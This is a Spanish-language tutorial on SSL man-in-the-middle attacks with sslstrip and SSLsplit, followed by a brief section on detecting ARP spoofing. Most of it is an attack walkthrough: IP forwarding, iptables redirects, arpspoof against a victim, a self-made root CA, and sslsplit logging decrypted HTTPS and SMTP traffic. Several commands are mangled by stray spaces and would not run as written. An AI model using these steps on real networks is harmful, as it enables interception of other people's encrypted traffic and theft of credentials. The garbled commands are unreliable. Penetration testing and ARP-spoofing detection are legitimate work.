Existen dos herramientas muy útiles para realizar MITM (man-in-the-middle) en SSL, que nos permiten realizar test de penetración en SSL y también conocer el funcionamiento de SSL. Estas dos herramientas son: sslstrip y SSLsplit.

Sslstrip.

Una herramienta para realizar ataques MITM en SSL, capaz de secuestrar el tráfico HTTPS de forma transparente en una red, ver los enlaces HTTPS, y a continuación, asignar esos vínculos a cualquiera semejanza de enlaces HTTP o HTTPS. También es compatible con los modos de suministro: de un favicon que se parece a un icono de bloqueo, login selectivo y negación de la sesión.

Desempaquetar:

tar zxvf sslstrip - 0.5.tar.gz

Instalación:
Se requiere Python 2.5 o más reciente, junto con el módulo de python ‘twisted’.

sudo apt- get install python- twisted- web

Ejecutar:

sudo python setup.py install


Sslstrip se puede ejecutar desde el directorio sin necesidad de instalación. Sólo se tiene que ejecutar 'python sslstrip.py -h' para obtener opciones de línea de comandos.

Para poner en marcha el ataque MITM en SSL, se siguen los siguientes pasos:

1) Poner la máquina en modo de transmisión (como root):
echo " 1 "> / proc/sys/net/ipv4/ip_forward

2) Configuración iptables para interceptar las peticiones HTTP (como root) :
iptables -t nat -A PREROUTING -p tcp - destination-port 80 -j REDIRECT - to- port 8080

3) Ejecutar sslstrip con las opciones de línea de comandos:
python sslstrip.py - 8080

4) Ejecutar arpspoof para redirigir el tráfico de la victima la máquina atacante (como root):
arpspoof -i -t <dispositivo de red> <ip destino a atacar> <ip del router>

Más información y descarga de sslstrip:
https://github.com/moxie0/sslstrip


SSLsplit.




Es una herramienta para ataques MITM (man-in- the-middle) en conexiones de red cifradas en SSL / TLS. Las conexiones se interceptan de forma transparente a través de un motor de traducción de dirección de red redirigido a SSLsplit. La herramienta termina SSL / TLS e inicia una nueva conexión SSL / TLS con la dirección original de destino, mientras se registran todos los datos transmitidos. SSLsplit está destinado al análisis forense de red y pruebas de penetración.

SSLsplit trabaja con los protocolo TCP, SSL, HTTP y HTTPS, a través de IPv4 e IPv6 . Para las conexiones SSL y HTTPS, genera certificados X509v3 sobre la marcha, con base en el certificado de servidor original Subject DN y extensión subjectAltName . SSLsplit apoya plenamente Name Server Indicación (SNI ) y es capaz de trabajar con RSA , DSA y las claves ECDSA, DHE y Suites de cifrado ECDHE. SSLsplit también pueden usar certificados existentes del que se disponga la clave privada, en lugar de generarlo. También soporta certificados NC NULL -prefix y puede denegar las solicitudes de OCSP de forma genérica. Elimina las cabeceras de respuesta HPKP con el fin de evitar el bloqueo de clave pública.

SSLsplit depende del OpenSSL y bibliotecas 2.x libevent. La instalación depende de GNU make y un ambiente POSIX.2 en `PATH '. Las pruebas unitarias opcionales dependen de la biblioteca de verificación.

SSLsplit actualmente soporta los siguientes sistemas operativos y mecanismos de NAT:

  • FreeBSD: rdr pf y desviar a , ipfw fwd , rdr ipfilter.
  • OpenBSD : pf rdr -to y divert-to.
  • Linux: REDIRECT netfilter y TPROXY.
  • Mac OS X : ipfw rdr fwd y pf ( experimental).


Instalación:

Para descargar y compilar SSLsplit, se ejecutan los siguientes comandos:

wget http://mirror.roe.ch/rel/sslsplit/sslsplit-0.4.7.tar.bz2
bunzip2 sslsplit - 0.4.7.tar.bz2
tar xvf sslsplit - 0.4.7.tar
cd sslsplit - 0.4.7
make
apt- get install libssl -dev libevent -dev
mkdir /tmp/ sslsplit

El directorio temporal creado en / tmp / sslsplit más tarde se utiliza para vaciar el archivo de registro de conexión y los datos brutos de los sockets SSL entrantes y salientes.


SSLsplit actua como un intermediario para conexiones SSL , debe ser capaz de generar y firmar los certificados que recibe la víctima. Para ello, la víctima debe tener certificado de CA raíz del atacante. En función del tipo de cliente (navegador de web , un teléfono móvil ) , la instalación de certificados raíz difiere un poco.

Si aún no dispone de una clave privada de la CA autofirmado y el certificado, puede generar uno usando los siguientes comandos:

openssl genrsa -out ca1.key 4096
openssl req -new -x509 -days 1826 -key ca1.key -out ca2.crt


El primer comando genera una clave privada RSA de 4096 bits en formato PEM (ca1.key ), y el segundo comando usa su clave privada para generar un certificado raíz CA autofirmado ( ca2.crt ) . Más tarde ambos son necesarios por SSLsplit, pero sólo el archivo del certificado tiene que ser instalado en el navegador o el sistema operativo de la víctima.

Desviar tráfico:

Ejecutar arpspoof para redirigir el tráfico de la victima a la máquina atacante (como root):

arpspoof -i -t <dispositivo de red> <ip destino a atacar> <ip del router>

En este caso SSLsplit va a correr en dos puertos : 8080 para las conexiones TCP que no son SSL , tales como HTTP , SMTP o FTP, y 8443 para las conexiones SSL tales como SMTP sobre SSL , HTTPS, etc. Se utiliza el NAT de iptables con el fin de enviar los paquetes que llegan a la máquina del atacante a estos puertos internos.

sysctl- w = 1 net.ipv4.ip_forward
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp - dport 80 -j REDIRECT - to-ports 8080
iptables -t nat -A PREROUTING -p tcp - dport 443- j REDIRECT - to-ports 8443
iptables -t nat -A PREROUTING -p tcp - dport 587- j REDIRECT - to-ports 8443
iptables -t nat -A PREROUTING -p tcp - dport 465- j REDIRECT - to-ports 8443


En este ejemplo, ciertos paquetes se redirigen al puerto local 8080 y 8443. Paquetes para el tráfico de texto plano en los puertos HTTP ( 80 ), se redirigen al puerto 8080 , y los paquetes para el tráfico basado en SSL en los puertos HTTPS ( 443 ), SMTP a través de SSL ( 465 y 587 ) son redirigidos al puerto 8443.

Ejecutar SSLsplit:

Una vez que el reenvío de IP está activo y los paquetes se está remitiendo a los puertos pertinentes, puede empezar SSLsplit . Para el caso de este ejemplo, una configuración de parámetro ajustada al caso sería algo como esto:

. / sslsplit
- D
-l connections.log
-j / tmp / sslsplit /
- S logdir /
- k ca.key
- C ca.cer
ssl 0.0.0.0 8443
tcp 0.0.0.0 8080

Este comando inicia SSLsplit en modo de depuración (-D) y da salida de los intentos de conexión en el archivo de registro "connections.log" (-l) . El contenido real de las conexiones se escribe en el directorio "/tmp/sslsplit/logdir/" (-j y -S) - cada flujo TCP entrante / saliente de cada conexión en un archivo separado.

Más información y descarga:
https://github.com/droe/sslsplit


Como detectar el ataque.


En este caso concreto monitorizando la cache ARP, con una herramienta específica. También sería posible utilizando un IDS o herramientas que detecten el modo promiscuo de los dispositivos de red de la maquina atacante.

En Windows.

Utilizando la herramienta XArp 2 que monitoriza la tabla ARP y te avisa de cambios en ella, aunque también se puede hacer manualmente utilizando el comando "arp -a" es fácil detectar el ataque porque aparece otra IP con tu MAC, aunque nunca se está mirando manualmente la tabla ARP, lo mas practico es la monitorización.

Más información y descarga de XArp 2:
http://www.chrismc.de/development/xarp/index.html

O con ProDETECT un explorador de sniffers, que utiliza una técnica de análisis del paquete ARP.

Más información y descarga de ProDETECT:
http://sourceforge.net/projects/prodetect/

En Linux.

Utilizando

Más información y descarga de Arpwatch:
http://freequaos.host.sk/arpwatch/

Arpwatch para monitorizar la tabla ARP y que nos envié un correo electrónico si cambia. Arpwatch puede correr como demonio y para que nos envié un e-mail usamos esta sentencia “arpwatch -i eth0 -m [email protected]”. Para detectar el ataque manualmente podemos usar ettercap cargando su modulo ARP con la siguiente sentencia “ettercap –tq –p arp_cop”.

Con Sniffdet es un sistema de pruebas para la detección remota de los sniffers de red. Usa las técnicas test ICMP, test ARP, test DNS y test de ping de latencia.

Más información y descarga de Sniffdet:
http://sniffdet.sourceforge.net/